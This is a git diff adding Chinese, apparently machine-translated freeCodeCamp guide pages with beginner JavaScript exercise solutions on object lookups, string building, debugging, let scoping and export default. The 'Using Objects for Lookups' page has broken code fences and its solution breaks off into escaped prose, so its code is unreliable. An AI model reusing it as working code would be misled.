+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the parseInt Function with a Radix
+localeTitle: 将parseInt函数与Radix一起使用
+---
+## 将parseInt函数与Radix一起使用
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md
new file mode 100644
index 0000000000..bf8f271e69
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the parseInt Function
+localeTitle: 使用parseInt函数
+---
+## 使用parseInt函数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/using-objects-for-lookups/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/using-objects-for-lookups/index.md
new file mode 100644
index 0000000000..461434c007
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/using-objects-for-lookups/index.md
@@ -0,0 +1,73 @@
+---
+title: Using Objects for Lookups
+localeTitle: 使用对象进行查找
+---
+## 使用对象进行查找
+
+这是一个例子：
+
+```javascript
+// Setup 
+ function phoneticLookup(val) { 
+  var result = ""; 
+ 
+  // Only change code below this line 
+  switch(val) { 
+    case "alpha": 
+      result = "Adams"; 
+      break; 
+    case "bravo": 
+      result = "Boston"; 
+      break; 
+    case "charlie": 
+      result = "Chicago"; 
+      break; 
+    case "delta": 
+      result = "Denver"; 
+      break; 
+    case "echo": 
+      result = "Easy"; 
+      break; 
+    case "foxtrot": 
+      result = "Frank"; 
+  } 
+ 
+  // Only change code above this line 
+  return result; 
+ } 
+ 
+ // Change this value to test 
+ phoneticLookup("charlie"); 
+```
+
+这是一个解决方案： 我们在这里不做任何改动：
+
+```javascript
+function phoneticLookup(val) { 
+  var result = ""; 
+```
+
+我们需要将switch语句转换为对象。将所有`case`值传输到对象属性：
+
+```javascript
+function phoneticLookup(val) { 
+  var result = ""; 
+  var lookup = { 
+    "alpha": "Adams", 
+    "bravo": "Boston", 
+    "charlie": "Chicago", 
+    "delta": "Denver", 
+    "echo": "Easy", 
+    "foxtrot": "Frank" 
+  }; 
+  ``` 
+ After converting our case statements into object properties you can make use of the variable `result` to let the function return the correct value. 
+```
+
+JavaScript的 result = lookup \[val\]; \`\`\`
+
+·在[repl.it上](https://repl.it/@AdrianSkar/Using-objects-for-lookups)运行代码。
+
+### 资源
+
+*   [“JavaScript对象基础” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Basics)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/word-blanks/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/word-blanks/index.md
new file mode 100644
index 0000000000..367874b27b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/word-blanks/index.md
@@ -0,0 +1,86 @@
+---
+title: Word Blanks
+localeTitle: 字空白
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+我们现在将使用我们的字符串知识来构建一个**Mad Libs**风格的文字游戏，我们称之为“Word Blanks”。您将创建一个（可选幽默的）“填空”样式句子。
+
+您将需要使用字符串运算符来使用提供的变量构建新的字符串**result** ： **myNoun** ， **myAdjective** ， **myVerb**和**myAdverb** 。
+
+您还需要使用其他字符串，这些字符串不会更改，并且必须位于所有提供的单词之间。输出应该是一个完整的句子。
+
+我们提供了一个用不同的单词测试结果的框架。测试将使用几个不同的输入运行您的函数，以确保所有提供的单词出现在输出中，以及您的额外字符串。
+
+*   更改下面的代码`//Your Code here` ，最多`//Change this line` 。
+*   请注意，您正在编辑`wordBlanks()`函数的内部。
+*   您将基本上使用提供的字符串变量创建一个句子。
+
+#### 相关链接
+
+*   [疯狂的自由人](https://en.wikipedia.org/wiki/Mad_Libs)
+*   [挑战：用变量构造字符串](http://www.freecodecamp.com/challenges/constructing-strings-with-variables)
+*   [挑战：使用Plus运算符连接字符串](http://www.freecodecamp.com/challenges/concatenating-strings-with-plus-operator)
+*   [挑战：使用Plus Equals运算符连接字符串](http://www.freecodecamp.com/challenges/concatenating-strings-with-the-plus-equals-operator)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+`+`可用于_连接_字符串。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+正如您可以通过连接来链接字符串一样，您可以将它们分配给现有变量而不是新变量。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+`+=`将允许您使用现有变量，在这种情况下为字符串类型。请记住在每个变量之间添加自己的**非字母** 。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function wordBlanks(myNoun, myAdjective, myVerb, myAdverb) { 
+    var result = ""; 
+    // Your code below this line 
+    result+= "My "+myAdjective+" "+myNoun+" "+myVerb+" very "+myAdverb+"."; 
+ 
+    // Your code above this line 
+  return result; 
+ } 
+ 
+ // Change the words here to test your function 
+ wordBlanks("dog", "big", "ran", "quickly"); 
+```
+
+**示例运行**
+
+*   测试`wordBlanks("dog", "big", "ran", "quickly");`运行。
+*   使用空字符串`""`声明变量**结果** 。
+*   **结果**将通过变量**myNoun** ， **myAdjective** ， **myVerb** ， **myAdverb**分别由连接字符串“dog”，“big”，“ran”，“ **quick** ”组成的新字符串进行更改;订单已更改并添加了空白。
+*   返回**结果** 。
+
+### 代码说明：
+
+*   使用**result**连接给定的变量。
+*   用空格和适当的单词分隔单词以形成完整的句子。
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/write-reusable-javascript-with-functions/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/write-reusable-javascript-with-functions/index.md
new file mode 100644
index 0000000000..82e42c5eed
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/write-reusable-javascript-with-functions/index.md
@@ -0,0 +1,22 @@
+---
+title: Write Reusable JavaScript with Functions
+localeTitle: 用函数编写可重用的JavaScript
+---
+## 用函数编写可重用的JavaScript
+
+函数允许您反复重用代码。我们的任务是创建一个简单的`reusableFunction()` ，将“Hi World”输出到控制台（可以通过**Ctrl + Shift + I**到达）。
+
+首先使用`function`关键字，然后键入函数名称（遵循Camel Case格式）。然后，键入`()` ，并创建`{}`括号。像这样：
+
+```javascript
+function reusableFunction() {} 
+```
+
+现在，您的函数已准备好输入。使用`console.log()`在控制台中打印消息。基本代码解决方案如下：
+
+```javascript
+function reusableFunction() { 
+    console.log("Hi World"); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-arguments-passed-in-the-wrong-order-when-calling-a-function/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-arguments-passed-in-the-wrong-order-when-calling-a-function/index.md
new file mode 100644
index 0000000000..be0ef8745a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-arguments-passed-in-the-wrong-order-when-calling-a-function/index.md
@@ -0,0 +1,22 @@
+---
+title: Catch Arguments Passed in the Wrong Order When Calling a Function
+localeTitle: 调用函数时捕获以错误顺序传递的参数
+---
+## 调用函数时捕获以错误顺序传递的参数
+
+```javascript
+function raiseToPower(b, e) { 
+  return Math.pow(b, e); 
+ } 
+```
+
+*   上述函数用于将基数`b`提高到指数`e`的幂。
+*   必须使用正确顺序的变量专门调用该函数。否则，该函数将混合两个变量并返回不需要的答案。
+*   确保可变`power`正确实现`raiseToPower`功能。
+
+## 解：
+
+```javascript
+let power = raiseToPower(base, exp); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-missing-open-and-closing-parenthesis-after-a-function-call/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-missing-open-and-closing-parenthesis-after-a-function-call/index.md
new file mode 100644
index 0000000000..ec33deb5bd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-missing-open-and-closing-parenthesis-after-a-function-call/index.md
@@ -0,0 +1,15 @@
+---
+title: Catch Missing Open and Closing Parenthesis After a Function Call
+localeTitle: 在函数调用后捕获缺失的打开和关闭括号
+---
+## 在函数调用后捕获缺失的打开和关闭括号
+
+*   请记住在调用函数时添加左括号和右括号。
+*   FunctionName +（）;
+
+## 解：
+
+```javascript
+ let result = getNine(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-misspelled-variable-and-function-names/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-misspelled-variable-and-function-names/index.md
new file mode 100644
index 0000000000..b826d26d45
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-misspelled-variable-and-function-names/index.md
@@ -0,0 +1,27 @@
+---
+title: Catch Misspelled Variable and Function Names
+localeTitle: 捕获拼错的变量和函数名称
+---
+## 捕获拼错的变量和函数名称
+
+### 问题解释：
+
+修复代码中的两个拼写错误，以便netWorkingCapital计算有效。
+
+### 暗示
+
+检查前两个变量的拼写是否与使用时相对应。
+
+## 扰流板警报！
+
+**提前解决！**
+
+```javascript
+// 'i' and 'e' swapped in "receivables" and missing 's' in "payables" 
+ 
+ let receivables = 10; 
+ let payables = 8; 
+ let netWorkingCapital = receivables - payables; 
+ console.log(`Net working capital is: ${netWorkingCapital}`); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-mixed-usage-of-single-and-double-quotes/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-mixed-usage-of-single-and-double-quotes/index.md
new file mode 100644
index 0000000000..0e7a1de6df
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-mixed-usage-of-single-and-double-quotes/index.md
@@ -0,0 +1,17 @@
+---
+title: Catch Mixed Usage of Single and Double Quotes
+localeTitle: 抓住单引号和双引号的混合使用
+---
+## 抓住单引号和双引号的混合使用
+
+*   请记住，您是选择使用单引号还是双引号，只需在字符前添加`\`即可使字符适合字符串而不关闭单引号或双引号。
+*   测试用例只能使用双引号传递。
+
+## 解：
+
+```javascript
+//Solution1: 
+ let innerHtml = "<p>Click here to <a href=\"#Home\">return home</a></p>"; 
+ console.log(innerHtml); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-off-by-one-errors-when-using-indexing/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-off-by-one-errors-when-using-indexing/index.md
new file mode 100644
index 0000000000..94b394fce8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-off-by-one-errors-when-using-indexing/index.md
@@ -0,0 +1,70 @@
+---
+title: Catch Off By One Errors When Using Indexing
+localeTitle: 使用索引时捕获一个错误
+---
+## 使用索引时捕获一个错误
+
+### 基本
+
+由于JavaScript索引的工作方式`firstFive`有**五个元素，**但它们的索引从**0到4** ！
+
+```javascript
+console.log(len); // 5 
+ console.log(firstFive[0]); // 1 
+ /**/ 
+ console.log(firstFive[4]); // 5 
+ console.log(firstFive[5]); // undefined 
+```
+
+这应该足以让你掌握`firstFive`的限制。引导你注意循环。它有什么作用？您可以尝试调试它以找出答案！
+
+### 调试
+
+你得到这个代码：
+
+```javascript
+  for (let i = 1; i <= len; i++) { 
+    console.log(firstFive[i]); 
+  } 
+```
+
+要调试这段代码，请使用`console.clear()` 。什么是最好的地方？答案就在`for`声明之前！
+
+```javascript
+  console.clear(); 
+  for (let i = 1; i <= len; i++) { 
+    console.log(firstFive[i]); 
+  } 
+```
+
+控制台输出：
+
+```text
+  Console was cleared. 
+  2 
+  3 
+  4 
+  5 
+  undefined 
+```
+
+### 分析
+
+检查输出。在这些条件下，循环首先打印位于1 ...的元素，即2！它还尝试打印`undefined`索引为5的元素。
+
+这可以被视为这一挑战的关键。保持`console.log()`和`console.clear()`存在。它们将帮助您了解代码的工作原理。
+
+### 解
+
+解决此问题的最直接方法是更改​​for（）条件。 让`i`从0开始。另外， **不**应该为i == 5执行循环。换句话说，当i == 5时， `i`和`len`之间的关系应该是`false` 。这可以通过使用`i < len`来实现（是5 <len？false，循环不会被执行！）。
+
+```javascript
+  for (let i = 0; i < len; i++) { 
+```
+
+**快乐的编码！** ：电脑：
+
+### 资源
+
+*   [对于FreeCodeCamp的陈述挑战](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops)
+*   [适用于MDN Web文档的声明](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for_statement)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-unclosed-parentheses-brackets-braces-and-quotes/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-unclosed-parentheses-brackets-braces-and-quotes/index.md
new file mode 100644
index 0000000000..7de7b9f6d9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-unclosed-parentheses-brackets-braces-and-quotes/index.md
@@ -0,0 +1,34 @@
+---
+title: Catch Unclosed Parentheses, Brackets, Braces and Quotes
+localeTitle: 抓住未封闭的圆括号，括号，括号和引号
+---
+## 抓住未封闭的圆括号，括号，括号和引号
+
+reduce（）方法将数组减少为单个值。如果您不熟悉它，以下代码显示了使用该方法的示例：
+```
+const array1 = [1, 2, 3, 4]; 
+ console.log(array1.reduce((accumulator, currentValue) => accumulator + currentValue));  // expected output: 10 
+```
+
+您还可以将reduce方法的参数定义为变量或常量，并将其移交给函数，例如，
+```
+const array1 = [1, 2, 3, 4]; 
+ const reducer = (accumulator, currentValue) => accumulator + currentValue; 
+ 
+ // 1 + 2 + 3 + 4 
+ console.log(array1.reduce(reducer));      // expected output: 10 
+ 
+ // 5 + 1 + 2 + 3 + 4 
+ console.log(array1.reduce(reducer, 5));   // expected output: 15 
+```
+
+您可以在[Array.prototype.reduce（）中](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce)查看并运行此代码。
+
+## 解：
+
+```javascript
+let myArray = [1, 2, 3]; 
+ let arraySum = myArray.reduce((previous, current) =>  previous + current); 
+ console.log(`Sum of array values is: ${arraySum}`); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-use-of-assignment-operator-instead-of-equality-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-use-of-assignment-operator-instead-of-equality-operator/index.md
new file mode 100644
index 0000000000..3492b09e8c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/catch-use-of-assignment-operator-instead-of-equality-operator/index.md
@@ -0,0 +1,25 @@
+---
+title: Catch Use of Assignment Operator Instead of Equality Operator
+localeTitle: 捕获使用赋值运算符而不是等式运算符
+---
+## 捕获使用赋值运算符而不是等式运算符
+
+*   在这个挑战中只能编辑if语句。
+*   `=`运算符本身仅用于赋值，而不是用于比较它们。
+
+## 解
+
+```javascript
+let x = 7; 
+ let y = 9; 
+ let result = "to come"; 
+ 
+ if(x == y) { 
+  result = "Equal!"; 
+ } else { 
+  result = "Not equal!"; 
+ } 
+ 
+ console.log(result); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/index.md
new file mode 100644
index 0000000000..1479721e6d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/index.md
@@ -0,0 +1,11 @@
+---
+title: Debugging
+localeTitle: 调试
+---
+## 调试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/prevent-infinite-loops-with-a-valid-terminal-condition/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/prevent-infinite-loops-with-a-valid-terminal-condition/index.md
new file mode 100644
index 0000000000..f2f335d85e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/prevent-infinite-loops-with-a-valid-terminal-condition/index.md
@@ -0,0 +1,31 @@
+---
+title: Prevent Infinite Loops with a Valid Terminal Condition
+localeTitle: 使用有效的终端条件防止无限循环
+---
+## 使用有效的终端条件防止无限循环
+
+*   为防止无限循环， `while-condition`必须达到终止条件才能退出循环。
+*   所以这个挑战中的错误是由于for循环中的条件 - `i != 4` - 而发生的。
+*   如果你仔细看看代码：
+
+```javascript
+function myFunc() { 
+  for (let i = 1; i != 4; i += 2) { 
+    console.log("Still going!"); 
+  } 
+ } 
+```
+
+*   您将看到`i`首先初始化为1，并且在循环的每次迭代之后， `i`递增2。
+*   使用该逻辑，在第一次迭代之后 - `i = 3`并且第二次迭代`i = 5` ，将永远不满足条件`i != 4`并且将发生无限循环。
+
+## 解：
+
+```javascript
+function myFunc() { 
+  for (let i = 1; i <= 4; i += 2) { 
+    console.log("Still going!"); 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md
new file mode 100644
index 0000000000..07ae32b021
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md
@@ -0,0 +1,9 @@
+---
+title: Understanding the Differences between the freeCodeCamp and Browser Console
+localeTitle: 了解freeCodeCamp和浏览器控制台之间的差异
+---
+## 了解freeCodeCamp和浏览器控制台之间的差异
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/use-caution-when-reinitializing-variables-inside-a-loop/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/use-caution-when-reinitializing-variables-inside-a-loop/index.md
new file mode 100644
index 0000000000..c5ed5e6e91
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/use-caution-when-reinitializing-variables-inside-a-loop/index.md
@@ -0,0 +1,51 @@
+---
+title: Use Caution When Reinitializing Variables Inside a Loop
+localeTitle: 在循环内重新初始化变量时请小心
+---
+## 在循环内重新初始化变量时请小心
+
+*   必须通过重新定义`row[]`的范围来解决这一挑战。
+*   以下是所需矩阵的示例。
+
+```javascript
+[ 
+ [0][0], 
+ [0][0], 
+ [0][0] 
+ ] 
+```
+
+*   然而，当前的矩阵 - 见下文 - 远离所需的矩阵
+
+```javascript
+[ 
+ [0][0][0][0][0][0], 
+ [0][0][0][0][0][0], 
+ [0][0][0][0][0][0] 
+ ] 
+```
+
+*   由于`row[]`数组被声明为嵌套for循环之外的全局变量，因此发生此错误。
+*   但是，要正确填充矩阵，必须在每次外部循环迭代后重置`row[]`数组。
+
+## 解
+
+```javascript
+function zeroArray(m, n) { 
+  let newArray = []; 
+  for (let i = 0; i < m; i++) { 
+     let row = []; /* <-----  row has been declared inside the outer loop. 
+     Now a new row will be initialised during each iteration of the outer loop allowing 
+     for the desired matrix. */ 
+    for (let j = 0; j < n; j++) { 
+ 
+      row.push(0); 
+    } 
+    newArray.push(row); 
+  } 
+  return newArray; 
+ } 
+ let matrix = zeroArray(3, 2); 
+ console.log(matrix); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md
new file mode 100644
index 0000000000..7016174c94
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the JavaScript Console to Check the Value of a Variable
+localeTitle: 使用JavaScript控制台检查变量的值
+---
+## 使用JavaScript控制台检查变量的值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/use-typeof-to-check-the-type-of-a-variable/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/use-typeof-to-check-the-type-of-a-variable/index.md
new file mode 100644
index 0000000000..8eec9ea8d4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/debugging/use-typeof-to-check-the-type-of-a-variable/index.md
@@ -0,0 +1,15 @@
+---
+title: Use typeof to Check the Type of a Variable
+localeTitle: 使用typeof检查变量的类型
+---
+## 使用typeof检查变量的类型
+
+*   使用`console.log(typeof variable)`显示所需变量的类型。
+
+## 解：
+
+```javascript
+console.log(typeof seven); 
+ console.log(typeof three); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/compare-scopes-of-the-var-and-let-keywords/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/compare-scopes-of-the-var-and-let-keywords/index.md
new file mode 100644
index 0000000000..15339f5393
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/compare-scopes-of-the-var-and-let-keywords/index.md
@@ -0,0 +1,61 @@
+---
+title: Compare Scopes of the var and let Keywords
+localeTitle: 比较var的范围并让关键字
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### 问题说明：
+
+我们需要改变`var`来`let`我们的职能范围和添加`let`我们的块范围。
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   找到`var`并替换为`let` 。
+
+> _现在尝试解决问题_
+
+*   将`let`添加到if语句中的变量`i` 。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function checkScope() { 
+      "use strict"; 
+      let i = "function scope"; 
+      if (true) { 
+        let i = "block scope"; 
+        console.log("Block scope i is: ", i); 
+      } 
+    console.log("Function scope i is: ", i); 
+    return i; 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://codepen.io/dylantyates/pen/wxwxRd)
+
+# 代码说明：
+
+通过使用`let`您可以声明与其范围相关的变量。
+
+#### 相关链接
+
+*   [让](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/create-an-export-fallback-with-export-default/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/create-an-export-fallback-with-export-default/index.md
new file mode 100644
index 0000000000..3dd021aebd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/create-an-export-fallback-with-export-default/index.md
@@ -0,0 +1,21 @@
+---
+title: Create an Export Fallback with export default
+localeTitle: 使用导出默认值创建导出回退
+---
+## 使用导出默认值创建导出回退
+
+什么是后备价值？如果没有设置任何内容，它基本上是默认代码将返回。例如，变量的默认回退值为`undefined` 。话虽这么说，暗示了这一挑战！
+
+## 提示1：
+
+只需将`export default`添加到函数的开头即可。
+
+## 剧透警报 - 提前解决！
+
+## 解：
+
+```javascript
+"use strict"; 
+ export default function subtract(x,y) {return x - y;} 
+
+```
\ No newline at end of file
